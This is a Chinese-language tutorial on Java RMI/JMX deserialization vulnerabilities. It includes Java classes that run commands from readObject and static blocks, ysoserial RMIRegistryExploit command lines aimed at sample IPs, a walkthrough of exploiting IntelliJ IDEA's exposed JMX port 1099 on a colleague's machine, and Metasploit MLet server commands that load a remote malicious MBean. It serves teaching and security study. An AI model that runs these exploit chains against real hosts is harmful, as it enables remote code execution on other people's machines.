龙空技术网

通过 IDEA 黑掉你

云布道师 189

前言:

今天同学们对“打开网站出现localhost”大概比较关心,咱们都需要剖析一些“打开网站出现localhost”的相关资讯。那么小编也在网络上汇集了一些对于“打开网站出现localhost””的相关文章,希望看官们能喜欢,咱们快快来了解一下吧!

导读:为什么需要反序列化?“最简单”的反序列化机制是怎么样实现的?有怎样的安全问题?

作者 | 重构

前言

读者如果具备一定的 Java 项目经验,无论是开发还是安全方面的,都一定听过“Java反序列化漏洞”。它是 Java 领域所有漏洞中,当之无愧的主角。

从 2015 年 BlackHat 大会以来,反序列化漏洞受到了很强烈的关注,按照常规逻辑来说,漏洞所受的关注越大,那么它消失的也就越快,但随着时间的推移,各种不同协议的反序列化漏洞反而愈演愈烈,各种变体层出不穷。

本篇文章作为系列文章的第一篇,将讲解为什么需要反序列化,“最简单”的反序列化机制是怎么样实现的?有怎样的安全问题?并且演示如何借用这一机制,通过 IDEA 的安全漏洞,攻击隔壁工位的个人电脑。

学习难点

今天我们再去看 Java 反序列化漏洞的话,有两大难点:

首先,入门相对于其它漏洞类型要难,Java 反射机制是入门的第 1 道坎,理解不了反射机制就无法理解反序列化漏洞。

其次,刚开始学习时,很容易被混乱的反序列化体系搞蒙圈。举例来说:

从协议角度来看,你会遇见:

JDK 原生类库反序列化RMI 反序列化利用IIOP 反序列化利用COBRA 反序列化利用LDAP 反序列化利用Dubbo-Hessian2 反序列化利用XML 反序列化漏洞YAML 反序列化漏洞JSON 反序列化漏洞JMX 服务反序列化缺陷JMS 服务反序列化缺陷

从应用角度来看,你会见到:

Weblogic 反序列化漏洞Fastjson 反序列化漏洞Jackson 反序列化漏洞XMLDecoder 反序列化漏洞Strust2 反序列化漏洞Spring 家族各个组件的反序列化漏洞ActiveMQ 反序列化漏洞

各种协议、各种应用的反序列化漏洞利用方式不同,修复方案也不同。很容易将初学者代入到混乱之中。

那么,如果要理清楚这些反序列化漏洞之间的关系,首先要知道,为什么我们需要“序列化和反序列化机制”?

服务架构发展历史

在外部应用技术一开始发展的时候,一个网站的结构很简单。

用户访问业务系统,业务系统中有着不同的功能模块。只需要一台单机服务器就可以解决,当用户访问量大一些的时候,可以通过垂直扩展,也就是换一台大点的服务器来解决。

但垂直扩展是有限制的,当你的用户访问量达到一定程度时你要付出的成本就不只是线性增长,而是指数增长。

因此我们需要对系统进行水平扩展,也就是通过增加更多的服务器来处理增长的用户请求。

我们把系统拷贝多份,组成一个集群,然后通过负载均衡的路由来决定哪一台具体的机器负责处理用户的请求。

但这样有一个很严重的问题就是,对资源的利用效率不够高,同样的代码运行在了很多台机器上。再者就是一旦业务代码发生了变动,就要同步这一集群里的所有机器,它的运维成本是非常高的。

为了解决资源利用率和运维成本的问题,再度提升业务系统的处理能力。出现了第一批分布式系统,同样是通过水平伸缩将业务系统运行在多台服务器上,但这次我们会根据具体的接口功能,将一个大的业务系统拆分为多个子系统。

比如说一个电商系统拆分为展示子系统,支付子系统,订单子系统,收藏系统,每一个子系统都可以按照,上一种方式进行拷贝,组成一个集群。架构图如下所示:

当子系统越来越多时,你会发现不同的子系统中,具有着类似的功能,比如订单系统需要处理 Json 数据,展示系统也需要处理 Json 数据。那么在不同子系统之间维护两个 Json 数据处理模块,就不利于项目的维护。因此,基于分布式系统架构进一步地提取相似的服务功能,拆分为一个个微小的服务,也就演变为了微服务架构。

随着服务的增多,业务系统开始遇到一些棘手的问题:

1. 如何获知哪些服务开放了什么服务?监听了哪个端口?

2. 如果某个消费节点或服务节点故障,该如何调度?

3. 如何监控微服务节点之间的通信?

4. 如何通过调配,最大化地利用资源?

经过实践,业务系统引入了服务注册中心、服务治理中心,服务监控中心,同时为了解决单点故障问题,还将节点之间的通信变为一步,并使用消息中间件来缓解某一节点在特定时刻的流量压力。

也就演变了现在的大型网站架构,流动计算微服务架构。

而我们的 RPC 就是在集群系统、分布式系统、微服务、流动微服务架构中负责机器与机器之间、节点与节点之间的通信。

什么是 RPC

RPC 全称为 Remote Procedure Call,是一种服务之间调用的规范,于 1988 年提出。

主要为了解决两个问题:

1. 如何实现分布式、微服务架构中服务之间的调用?

2. 如何降低远程调用的使用成本,让远程调用和本地调用一样轻松?

RPC 可以帮助我们像操作本地函数一样,调用远程的函数。对于面向对象语言来说,就是帮助我们像操作本地对象一样,使用远程对象的方法。

如果要完成两个节点之间的信息交互,需要解决以下三点问题:

1. 协议约定问题,如何规定语法、传递参数、表示数据?

2. 传输问题,发生了错误、重传、丢包、性能问题怎么办?

3. 服务发现问题,怎么知道有哪些 RPC 端口?这些端口分别是?

在最初的 RPC 规范设计论文中,RPC 的架构图如下所示:

当客户端与服务端进行通信时,实际使用的是 Stub 代理对象来处理协议约定和传输问题。

基于这样的设计,就迎来了 Java 的第一款简单 RPC 通信协议。(PS:其实跨语言的 Corba 是第一款,但因为 Corba 的机制过于复杂,没有普及开来,直到后续的 iiop-rmi 出现后才被广泛应用,因此在本篇中不做介绍。)

RMI 协议

在早期,Java 基于 RPC 规范实现了 RMI 协议,全称为 Java Remote Method Invocation。其实就是完全按照 RPC 规范,做了一套专属于 Java 的实现。

为了解决服务发现问题,RMI 设计了 RMI Registry 注册中心。

远程调用的流程为:

1. Client、Server 同步接口

2. Server 端通过实现接口创建一个具体的服务对象。

3. Server 端通过 JDK 动态代理生成该服务对象的Stub代理对象,并注册到 Registry 注册中心。Stub 代理对象记录了服务的地址和监听端口。

4. Client 向 Registry 发起调用请求,Registry 返回所需要的 Stub 代理对象。

5. Client 通过 Stub 代理对象调用远程方法。

整个流程的时序图如下所示:

协议传输过程

如果把 RMI 体系看做一个公司的话。RMI Server 负责规定某些类,是开放给外部使用的,对远程调用进行管理和限制,相当于公司的管理人员,规划有哪些部门,不同部门的位置和职责是什么,每个部门能够对外提供什么服务。

RMI Registry 负责记录对象的名称对应关系,位置,相当于公司的前台咨询人员,有人根据需求来找相关部门合作,前台咨询人员需要告诉它相关的部门在哪里。对于小型项目来说,RMI Server 和 RMI Registry 经常在同一台服务器上,相当于小公司的项目数量少,管理者往往同时兼任前台咨询,直接带着客户去找相关部门。但对于大型公司,一个集团可能有多个分公司,管理者没时间带客户去找相关的对接人,所以雇佣一个前台咨询人员,专门负责根据客户的需求,将客户带到指定的部门。RMI Client 则负责发起调用请求,相当于客户,要向公司提需求。

在分布式架构中,RMI Client 所在的服务器,可能同时也是一个 RMI Server。既是其它公司的客户,也是另外一些客户的服务商,提供一些服务。

当一个公司提供的服务需要售卖商品时,少量的商品可以存储在公司里面,做好登记(RMI Registry)就可以供别人存取。但商品数量太大时,再放在公司里就不行了,需要租一些仓库。部门在提供服务时,可以告诉客户仓库地址是哪个,客户自己去取。这个仓库就是外部服务器,可以是 HTTP 服务器,也可以是 FTP 服务器。

我们先来看普通的 RMI 机制,我们以代码为例,在过程中,会逐渐介绍 RMI 机制中的其他要素:

假设有家公司 A 提供咖啡制造服务,客户向其提交订单,公司为客户制作咖啡。

首先,作为一家食品相关公司,创立时,必须接受食品监督管理局的监管,也就是 Remote 接口,每个 RMI Server 都必须实现 Remote 接口:

咖啡制造公司接受食品监督管理局的监管,用代码表示就是:

CoffeeServer extends Remote

咖啡制造公司还有一个社会共识,那就是具备制造咖啡的功能。因此一个标准咖啡制造公司的模板为 CoffeeServer:

//file: CoffeeServer.javapackage com.ifeelsec.rmi;import java.rmi.*; public interface CoffeeServer extends Remote {     public Coffee getCoffee(Order newOrder) throws RemoteException; }

具体到 A 地区的情境,那就是 A 公司是一家咖啡制造公司,具有咖啡制造公司的标准功能,受到 A 地区食品监管局的管理。

这家公司将自己的服务命名为 productionCoffee,向社会公布。有人想要订购咖啡的话,只需要报上该公司的地址,以及服务名称 productionCoffee,带上订单,就可以。

package com.ifeelsec.rmi;import java.rmi.*; import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class CoffeeServerA     extends java.rmi.server.UnicastRemoteObject   implements CoffeeServer {        // 反序列化必须携带该字段    private static final long serialVersionUID = 2210579029160025375L;   public CoffeeServerA( ) throws RemoteException { }    // implement the RmtServer interface    @Override   public Coffee getCoffee(Order newOrder) throws RemoteException {      newOrder.excuteRquest();      return new Coffee();    }    public static void main(String args[]) {       try {          // 父类UnicastRemoteObject的构造方法会进行处理,生成动态stub         Registry reg;         try {            reg = LocateRegistry.createRegistry(1099);            System.out.println("new RMI Registry listening defualt port 1099.");          } catch (Exception e) {            System.out.println("Using existing registry");            reg = LocateRegistry.getRegistry();         }         CoffeeServer server = new CoffeeServerA();          reg.bind("productionCoffee",server);         //Naming.rebind("productionCoffee", server);         //System.out.println("RMI Registry listening defualt port 1099.");       } catch (RemoteException e) {        e.printStackTrace();    } catch (AlreadyBoundException e) {        e.printStackTrace();    }   } }

服务商 A 可以提供的咖啡为:

package com.ifeelsec.rmi;import java.io.Serializable;import java.io.ObjectInputStream;public class Coffee implements Serializable{    private static final long serialVersionUID = 7210579029160025375L;    public String taste;    public Coffee(){        this.taste = "Ordinary coffee";    }}

客户订购咖啡的话,需要发送订单,正常的订单定义为:

import java.io.Serializable;public class Order{   String request;   public String getCoffee(){        System.out.println("Sweetness, seasoning, kind:" + request);        return new Coffee();   }   public void setRequest(String rqst){      this.request = rqst;   }   public String excuteRquest(){      System.out.println("Meet request: " + request);   }}

客户 B 想要找制作 100 杯咖啡,对于他来讲,从 A 公司订购咖啡,或是从其它公司订购,都可以(与 A 公司解耦)。他不清楚 A 公司具体怎么制作咖啡,但根据社会共识,咖啡制造厂商应该具有订购咖啡的功能(getCoffee 函数)。

//file: ClientB.javapackage com.ifeelsec.rmi;import java.rmi.*;import java.util.*; import com.ifeelsec.rmi.Coffee;public class ClientB {     public static void main(String [] args)      throws RemoteException {         new ClientB( args[0] );     }     public ClientB(String host) {         try {             CoffeeServer server = (CoffeeServer)                 Naming.lookup("rmi://"+host+"/productionCoffee");            StrictOrder evilOrder = new StrictOrder();            evilOrder.setStrictRequest("calc")            //怎么调用呢?            Coffee someCofee = server.getCoffee(StrictOrder evilOrder);            server.excuteCommand();        } catch (java.io.IOException e) {                // I/O Error or bad URL         } catch (NotBoundException e) {                // NiftyServer isn't registered         }     } }

某一天,客户 B 公司打听到 CoffeeServerA 的地址为 192.168.1.100,于是他向 A 定做了 100 杯咖啡。

测试代码在工具包的 /source/rmi/ 目录下,用配置好的 VS Code 分别打开 java-rmi-client-1 和 java-rmi-Server-1 文件夹。

首先右击 java-rmi-Server-1/src/main/java/com/ifeelsec/rmi/CoffeeServerA.java,点击选项栏中的 Run,启动 RMI Server 和 RMI Registry:

同理,运行 java-rmi-client-1/src/main/java/com/ifeelsec/rmi/ClientB.java,可以看到 RMI Server 成功获取了传过来的 Order 对象,并输出了 Order 的属性:

RMI Client 也成功获取了 Coffee。

PS:这时就体现出轻量级编辑器 VS Code 的优势了,不需要配置环境,打开文件夹运行时,会自动带上编码、ClassPath 等配置信息。无障碍运行测试代码。后续的测试代码启动流程和这里一致,因此不再赘述,单纯以“启动”表示使用 VS Code 运行代码。如“启动 ClientC.java”代表“用 VS Code 打开项目目录,右击相应目录下的 ClientC.java,单击选项栏中的 Run 选项”。

至此,一个简单的 RMI 功能就完成了。

通信原理

RMI 是一个使用简单的远程信息交互协议,从 B 公司的角度,只需要使用 RMI 的调用机制(Naming.lookup)创建一个 CoffeeServer 类型的 server 变量,调用 server.getCoffee() 方法,就好像自己拥有了制造咖啡的能力。

但其实,A 公司是不会把自己制造咖啡的秘诀告诉客户 B 公司的,也就是说 ServerA 并不会真的把内部生成 Coffee 对象的代码传递给客户 B。

因此,为了支持强大的远程方法调用功能,RMI 底层做了很多工作。

在早期,客户 B 公司和 A 公司的沟通效率很低。在沟通环节,服务商 A 公司会派一个客服到客户 B 公司,听候差遣,也就是派一个代理人去完成沟通工作。服务商 A 公司派出的客服,也就是代理人就是 Stub,专门为 CoffeeA 销售服务的 Stub,我们称之为 CoffeeServerAStub。

服务商 A 公司也专门为这单生意指定了一个生产部门的职员,代理人 Skeleton,负责留在公司,满足客服传过来的需求。专门沟通这项生意的,我们叫做 CoffeeServerASkeleton。

整个调用过程为,客户 B 公司向 A 公司发起订购请求,前台 RMI Registry 会派一个销售服务人员到 B 公司,销售服务人员知道 A 公司的业务情况,也知道 A 公司派了哪个代理人来负责这个项目。然后根据 B 公司的需求,远程向 CoffeeServerASkeleton发消息。

架构如下:

其中 RRL 代表 Remote Reference Layer,代表代码层逻辑上的连接。实际是依靠传输层进行网络通信。

这种架构下,RMI Server 在注册对象时,就生成了专门针对该对象的 Stub Class 和 Skeleton Class。

如果想要看静态 Stub、Skeleton 生成,可以点击文末“阅读原文”了解更多。

在现行的 RMI 协议中,启用了静态 Class 的方法,使用动态代理模式来灵活调用。相当于公司培训了一批销售服务人员,并在内部建立了团队协作系统。他们能够根据业务的不同,切换服务方式。当确定客户需求后,销售服务人员直接在内部系统下单,会有其他员工自动接单,完成业务需求。

具体的流程为:

1. RMI client 通过随机端口,向 RMI Registry 发送 Object 调用请求,请求中带有目标 Class 的代号 -productionCoffee。RMI Registry 默认监听在 1099 端口。

2. RMI Registry 返回一个 RemoteObjectInvocationHandler 类,其中包含目标 Class 的真实地址信息。

3. RMI client 向目标 Class 的监听地址发送自己的版本信息,如 JVM、类 ID,方便 Server 识别自己。

4. RMI server 根据 Client 的信息判断,对该 Client 打上标志。确定可以兼容后,发送自己的 UID,方便 Client 识别 Server。

5. RMI client 通过 RemoteObjectInvocationHandler 调用方法,并传递参数。

6. RMI Server 执行方法,并把执行结果返回给 Client。

环节中的“信息”传递,都是通过反序列化机制实现的。整个过程 Client/Server 各执行了 3 次反序列化操作。

攻击 RMI Server

在这个过程中有什么安全风险呢?

我们假设 A 公司在生产过程中,老板可以向发布很严格的命令,这个命令称为 StrictOrder。下属需要无条件执行这一条命令。

在服务商 A 公司中,命令式订单定义为:

// Serverpackage com.ifeelsec.rmi;import java.io.IOException;import java.io.Serializable;import java.io.ObjectInputStream;public class StrictOrder implements Serializable{    private static final long serialVersionUID = 8210579029160025375L;   String strictRquest;   public String getStrictRequest(){      System.out.println("orther command: "+ strictRquest);      return strictRquest;   }   public void excuteRquest(){    try {        excuteCommand();    } catch (IOException e) {        //TODO: handle exception    }      System.out.println("Meet request: " + strictRquest);   }   private void excuteCommand() throws IOException{      System.out.println("orther command: "+ strictRquest);      Runtime.getRuntime().exec(this.strictRquest);   }   public void setStrictRequest(String stqt){      this.strictRquest = stqt;   }   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {      in.defaultReadObject();      Runtime.getRuntime().exec(this.strictRquest);  }}

在客户 B 公司中,恶意构造的命令式订单定义为:

// Clientpackage com.ifeelsec.rmi;import java.io.IOException;import java.io.Serializable;import java.io.ObjectInputStream;public class StrictOrder extends Order implements Serializable{    private static final long serialVersionUID = 8210579029160025375L;   private String strictRquest;   public String getStrictRequest(){      System.out.println("orther command: "+ strictRquest);      return strictRquest;   }   public void excuteRquest(){    try {        excuteCommand();    } catch (IOException e) {        //TODO: handle exception    }      System.out.println("Meet request: " + strictRquest);   }   private void excuteCommand() throws IOException{      System.out.println("orther command: "+ strictRquest);      Runtime.getRuntime().exec(this.strictRquest);   }   public void setStrictRequest(String stqt){      this.strictRquest = stqt;   }   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {      in.defaultReadObject();      Runtime.getRuntime().exec(this.strictRquest);  }}

但 A 公司的销售服务人员到达时,对 B 公司说,你可以准备一个 Order,也就是需求订单,我替你发给 A 公司的生产部门。B 公司如果想要攻击 A 公司,并且知道 A 公司有一个 StrictOrder 类的话。就可以把 StrictOrder 类伪装成 Order,并带上自己的命令,发给公司 A。公司 A 的生产部门在收到 Order 之后,执行其中的 executeRquest,但会发现最终执行的是 StrictOrder 的 executeRquest。

导致 B 公司可以冒用 A 公司老板的身份,完成攻击。

当然,正常开发不会写这么危险的代码,直接在自定义的函数中执行命令。

但其实,JDK 内部是存在很多可利用的工具链的。因此只要替换 RMI 交互过程中的反序列化数据,就可以利用对方 JDK 中的 GadGet 链,完成攻击。

如何定位反序列化数据呢?我们可以用 Wireshark 抓一段 RMI 通信的流量,来观察通信流程,右击想要查看的流量,在追踪流选项中选择 TCP Stream。或单击流量,直接按 Ctrl+Alt+Shift+T 快捷键。就可以看到连续的流量信息。

如图可选择 Client(169.254.99.26:3868) 向 Server(169.254.99.26:1099) 发送的请求,以及返回数据。

如图切换至原始数据后,可看到标准的序列化数据字节码头:aced。

想要更好地浏览序列化数据的格式,可以使用资源包中的 SerializationDumper-v1.11.jar[1] 工具,对反序列化数据进行还原。

就可以看到整齐的序列化数据了:

这里我们需要思考一个问题,RMI 交互过程中的信息传递都是通过序列化数据的方式来进行的,那么,这是否意味着只要存在 RMI 交互,就同时存在反序列化入口呢?就能够执行 JDK 中危险的 Gadget 呢?

其实不是的。还记前面代码中,CoffeeServer 接口需要继承 Remote 接口,并需要经过 UnicastRemoteObject 处理,就像 CoffeeServerA 通过实现 CoffeeServer 接口,间接实现 Remote 接口,并且,需要继承 UnicastRemoteObject 类一样?

其实 UnicastRemoteObject 也是实现了 Remote 接口,他们的继承关系为:

- java.lang.Object

- java.rmi.server.RemoteObject

- java.rmi.server.RemoteServer

- java.rmi.server.UnicastRemoteObject

对于实现了 Remote 接口,需要进行远程操作,但没有继承 UnicastRemoteObject 的类,可以使用 UnicastRemoteObject 的 exportObject 方法来进行处理。如:

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

这样的操作有两个作用,一个是给 RMI 交互类赋能,使其具有 RMI 交互过程中的操作能力,比如序列化、反序列化过程中的操作。

另一个功能,就是限制 RMI 交互类的范围。如果某类没有实现 Remote 接口,就不应该进行反序列化或实例化。

攻击 RMI Registry

除了 RMI 交互中天然的反序列化威胁以外,RMI Registry 相较于其它组件要更脆弱一些。

安全研究员 Nick Bloor(@NickstaDB)于 2017 年发现了 RMI Registry 的无验证反序列漏洞。RMI Registry 在客户端调用 bind 方法将某对象进行绑定时,并没有验证该对象是否继承了 Remote 接口,直接对序列化数据进行了反序列化,导致了无限制的反序列化入口。可以执行 JDK 中的恶意 Gadget。

该漏洞的 CVE 编号为 CVE-2017-3241,影响范围为 Java SE <= 6u131,<= 7u121,<= 8u112,Java SE Embedded <= 8u111,JRockit <= R28.3.12。

反序列化利用工具 ysoserial 中的 RMIRegistryExploit 就是利用得这个漏洞。

我们使用 vulhub 中的 jmeter/CVE-2018-1297 漏洞来复现该攻击:

通过 java -version 查看版本,可以发现该环境的小版本为 20,因此存在 CVE-2017-3241 漏洞。

使用 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.RMIRegistryExploit 45.63.59.117 1099 BeanShell1 'touch /tmp/success' 进行攻击:

执行该命令后,攻击端会输出报错。

java.rmi.AccessException: Registry.Registry.bind disallowed; origin /<your ip> is non-local host

但该报错并不影响反序列化漏洞的执行:

动态加载

上面的案例中,我们的案例很简单,使用 Server 将对象绑定到 RMI Registry 上,以供 Clinet 获取。在 Server 和 Client 之间传递的对象,是在 Server/Client 的 JVM Classpath 中都定义过的。

但实际业务场景中,客户端使用的简单参数类(主要是 POJO 对象),并没有在 Server 端定义。Server 端返回的对象,也没有在客户端定义。

这时,有两个办法:1. 传递参数类的 Class 文件。2. 传递构造简单类的 Class 文件。

利用动态加载攻击 RMI Server

我们回到咖啡交易来。时间飞逝,公司 A 扩充了业务,不只卖成品咖啡,还提供咖啡代加工,只要客户提供半成品咖啡豆,交给公司 A,公司 A 就制造咖啡给客户。

咖啡豆我们用 CoffeeBean 类来表示。

interface CoffeeBean{   public void preProcess();}

调用咖啡豆的 preProcess 方法就可以将咖啡豆变成半成品。

客户 B 公司的员工,需要长期订购咖啡,于是觉得咖啡代加工比较省钱。刚好 B 公司有一些咖啡豆 CoffeeBeanB,定义如下。

package com.ifeelsec.rmi;import java.io.IOException;import java.io.Serializable;public class CoffeeBeanB implements CoffeeBean, Serializable{    private static final long serialVersionUID = 4484289574195395731L;    static{        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            //TODO: handle exception        }    }    @Override    public void preProcess(){        System.out.print("doing the Coffee of B");    }}

客户 B 把 CoffeeBeanB 进行预处理,然后发给服务商 A,他知道服务商 A 那里没有这种咖啡豆的定义,需要 B 公司来提供,但 B 公司的物品很多,而且不方便对外开放,所以 B 公司就把类文件字节码 CoffeeB.class 托管到了第三方仓库中。

仓库 C,地址为 169.254.99.26:8080,这里运行着一个 HTTP 服务。

然后,客户 B 托销售说,如果想要获得这种咖啡豆的定义,就拿着 CoffeeB 这个名字,去仓库 C(169.254.99.26:8080)那里找找。

客户 B 的代码为:

package com.ifeelsec.rmi;import java.rmi.*;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class ClientB {     public static void main(String [] args)      throws RemoteException {         try {             // CoffeeServer server = (CoffeeServer) Naming.lookup("productionCoffee");            Registry registry = LocateRegistry.getRegistry("169.254.99.26", 1099);            CoffeeServer server = (CoffeeServer) registry.lookup("productionCoffee");            StrictOrder evilOrder = new StrictOrder();            evilOrder.setStrictRequest("calc");            Coffee someCofee = server.getCoffee(evilOrder);            //server.excuteCommand();        } catch (java.io.IOException e) {                // I/O Error or bad URL         } catch (NotBoundException e) {                // NiftyServer isn't registered         }     } }

服务商 A 就派人,去仓库 C,取 CoffeeBeanB 的定义。但出差有风险,需要得到安全管理部门的审批:

//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库         System.setProperty("java.security.policy", CoffeeServerA.class.getClassLoader().getResource("java.policy").getFile());         RMISecurityManager securityManager = new RMISecurityManager();         System.setSecurityManager(securityManager);

根据安全管理部门的出差章程,可以判断客户 B 是否可信,是否可以访问客户 B 指出的 codebase 地址。

如果公司安全管理比较松散的话,并不对客户 B 进行判断,放开了所有规则:

grant {    permission java.security.AllPermission;};

服务商 A 的代码为:

package com.ifeelsec.rmi;import java.rmi.*; import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class CoffeeServerA     extends java.rmi.server.UnicastRemoteObject   implements CoffeeServer {        private static final long serialVersionUID = 5210579029160025375L;   public CoffeeServerA( ) throws RemoteException { }    // implement the RmtServer interface    @Override   public Coffee getCoffee(Order newOrder) throws RemoteException {      newOrder.excuteRquest();      return new Coffee();    }   @Override   public Coffee getdevCoffee(Order newOrder, CoffeeBean somePreCoffeeBean) throws RemoteException{      System.out.println("building coffee.");      return new Coffee();   }      public static void main(String args[]) {       try {          Registry reg;         System.setProperty("java.security.policy", CoffeeServerA.class.getClassLoader().getResource("java.policy").getFile());         RMISecurityManager securityManager = new RMISecurityManager();         System.setSecurityManager(securityManager);         try {            reg = LocateRegistry.createRegistry(1099);            System.out.println("new RMI Registry listening defualt port 1099.");          } catch (Exception e) {            System.out.println("Using existing registry");            reg = LocateRegistry.getRegistry();         }         CoffeeServer server = new CoffeeServerA();          reg.bind("productionCoffee",server);         //Naming.rebind("productionCoffee", server);         //System.out.println("RMI Registry listening defualt port 1099.");       } catch (RemoteException e) {        e.printStackTrace();    } catch (AlreadyBoundException e) {        e.printStackTrace();    }   } }

可以看到客户 B 的 CoffeeBeanB 定义中,有一段恶意代码:

static{        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            //TODO: handle exception        }    }

服务商 A 需要在本地实例化 CoffeeBeanB 类,实例化类时,就会执行其中的 static 代码,从而导致命令执行。

利用动态加载攻击 RMI Client

不是只有 RMI Server 需要动态加载,有一天服务商 A 研发出了一款特殊的咖啡,命名为 SpeicialACoffee,定义为:

package com.ifeelsec.rmi;import java.io.IOException;import java.io.Serializable;import java.io.ObjectInputStream;public class SpecialACoffee extends Coffee{    private static final long serialVersionUID = 9210579029160025375L;    static{        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            //TODO: handle exception        }    }    public String taste;    public Coffee(){        this.taste = "Speicial coffee";    }}

服务商 A 会将这份特殊口味的 Coffee 返回给客户 B:

@Override   public Coffee getCoffee(Order newOrder) throws RemoteException {      newOrder.excuteRquest();      return new SpecialACoffee();    }

但 ClientB 上并没有这个类的定义说明,于是服务商 A 对 B 说,“你可以到实体店体验一杯”,并告诉客户 B 体验店 C 的地址为“169.254.99.26:8080”。

客户 B 同样有一个安全保障部门,会根据策略对服务商 A 进行判断,如果服务商 A 可信的话,就按照服务商 A 说的话,去访问体验店 C。这个策略,就是我们 JVM 中的 codebase 属性了。因此,对于 RMI 反序列化安全而言,codebase 很关键。JDK 维护团队为了让 RMI 调用更安全,也在后续的版本中更改了默认配置。

从 JDK6u45、7u21 以及 JDK8 以上的版本开始,JDK 将 java.rmi.server.useCodebaseOnly 默认值设置为了 True。这代表着 RMI 的 ClassLoader 只能从 java.rmi.server.codebase 属性约定的远程地址中动态获取 Class 类。这样一来,攻击面就小了很多。

划重点:提升系统的 JDK 版本,有助于提升 Java 应用对反序列化漏洞的默认防御能力。

攻击 JMX 服务

了解了 RMI 的运作机制,我们来找一个栗子,来复现该漏洞。

JMX 的全称为 Java Management Extensions,是用来监管 Tomcat、Weblogic 等服务器的资源使用情况的。通过 JMX 可以清楚地观察到服务器上 CPU、内存、线程的状态。

其背后,就是在基于 RMI 机制,管理了多个 MBean,MBean 实现了具体的监管逻辑。可以对外暴露监控到的数据,并提供了一些监控方法可供远程调用。

由于实现了 RMI,我们可以针对 JMX 对外开放的 1099 端口,也就是 Registry 监听端口,进行反序列化攻击。

比如使用 ysoserial 的 RMIRegistryExploit 模块进行攻击:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit <target_ip> <target_port> CommonsCollections6 <command>

PS:文中的架构图、代码是摘自平时的笔记,是之前基于网上一些零散的文章,根据漏洞演示需要修改的。

攻击 IDEA

我们来寻找一个身边的案例来进行攻击演示。

IntelliJ IDEA 是最受欢迎的 Java 开发 IDE,在 2019 年爆出了两枚 CVSS 评分(代表危害程度,满分为 10)为 7.5 的远程 RCE 漏洞。CVE-2019-9186、CVE-2019-10104,这两个编号其实讲得是同一个问题,就是 IDEA 在开发过程中,如果使用了特定的中间件或框架,就会自动在全部网卡上开启 JMX 端口的监听。

涉及的中间件和框架有:Tomcat、Jetty、Resin、CloudBees、Spring Boot,这基本上已经覆盖了大部分的传统开发场景了。

我们在虚拟机中使用旧版 IDEA 创建一个传统的 Tomcat 项目,无需进行任何的配置:

可以发现 IDEA 已经监听了 1099 端口。

通过 nmap 对该端口进行扫描可确认为 RMI Registry:nmap -sS -p 1099 192.168.134.129 。

这是因为 JMX 是 RMI 协议的应用,因此其 1099 端口,其实就是 RMI 的注册中心端口。只不多该注册中心专门负责管理 MBean 对象。

使用 ysoserial 发起对 RMI Registry 的攻击。

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.134.129 1099 CommonsCollections6 "calc"

可以发现已经成功在 IDEA 端执行了命令。ysoserial 的 JMXInvokeMBean 模块也可以完成漏洞利用,这一模块的实现原理我们会在下一节进行介绍。

IDEA 的这一安全问题影响到 Tomcat、Jetty、Resin、CloudBees 并不奇怪,中间件作为被 JMX 监控的对象,需要实现 JMX 的交互接口。但 SpringBoot 为什么也会开放 1099 端口呢?因为 SpringBoot 内部其实内嵌了一个 Tomcat 中间件,只是开发过程中并不需要进行配置而已。这一点也在提示 Java 反序列化漏洞利用的一个重要特性:

框架和中间件往往在用户无感知的情况下,内嵌了很多底层组件依赖。是一个个小的底层组件,逐渐叠加,慢慢形成一个大的高层组件。这使得反序列化利用链的寻找和封堵变成了一场有趣的功防博弈。

注册 MBean

MBean 就像是 JMX 上的一个插件,可以实现具体的监管功能。那么我们可不可以直接向 JMX 注册恶意的 MBean,从而控制恶意 MBean 执行危险操作?

要注册恶意 MBean,需要有管理 JMX 的权限。但其实很多 JMX 服务是默认没有权限认证的,任何一个可以访问 JMX 接口的用户,都可以任意注册和删除 MBean。

如果要实现权限认证,需要将账号密码明文保存在某个服务器路径下,并且在节点之间通过 JMX 进行信息交互时,也会明文传输账号密码,非常危险。如果要使用 TLS 对通信数据进行加密的话,就需要为每个节点分配非对称加密证书,这会使整个集群系统变得难以维护。

因此大部分的 JMX 实现都选择了默认无权限认证的方式。如:

1. Tomcat【默认不开启,但 IDEA 环境下会开启】

2. CISCO UNIFIED CUSTOMER VOICE PORTAL <= 11.x

3. NASDAQ BWISE <= 5.x

4. NICE ENGAGE PLATFORM <= 6.5

5. APACHE CASSANDRA 3.8 through 3.11.1 and CLOUDERA ZOOKEEPER/CDH 5.X/6.X

我们现在使用 jmet 工具来进行漏洞复现:

在这一过程中我们需要用到连接 MBean,创建内置的模板 MBean javax.management.loading.MLet,使用其 getMBeansFromURL 访问远程 URL 获取攻击者自定义的 MBean。

URL 指向的是一台管理 applet 的 MLet 服务器,applet 是一项古老的 Java Web 技术,可以将 Java 小程序嵌入在 Web 网页中,访问者会根据 Applet 中的代码逻辑,执行某些操作,而 MLet 负责管理 Applet。在本次复现过程中,就是通过访问 MLet 服务器,令 JMX 服务器将 MLet 服务器上的自定义恶意 MBean,注册到本服务器上。

攻击流程为:

1. 启动承载带有恶意 MBean 的 MLet 和 JAR 文件的 Web 服务器

2. 使用 JMX 在目标服务器上创建 MBean javax.management.loading.MLet 的实例

3. 调用 MBean 实例的 getMBeansFromURL 方法,并将 Web 服务器 URL 作为参数传递。JMX 服务将连接到 http 服务器并解析 MLet 文件。

4. JMX 服务下载并加载 MLet 文件中引用的 JAR 文件,从而使恶意 MBean 可通过 JMX 使用。

5. 攻击者最终从恶意 MBean 调用方法。

我们可以使用 Metasploit(msf)来创建带有恶意 MBean 的 MLet 服务器。

msf > use exploit/multi/misc/java_mlet_server

msf > set LHOST 192.168.178.1

msf > set SRVHOST 192.168.178.1

msf > set URIPATH /mlet/

msf > run

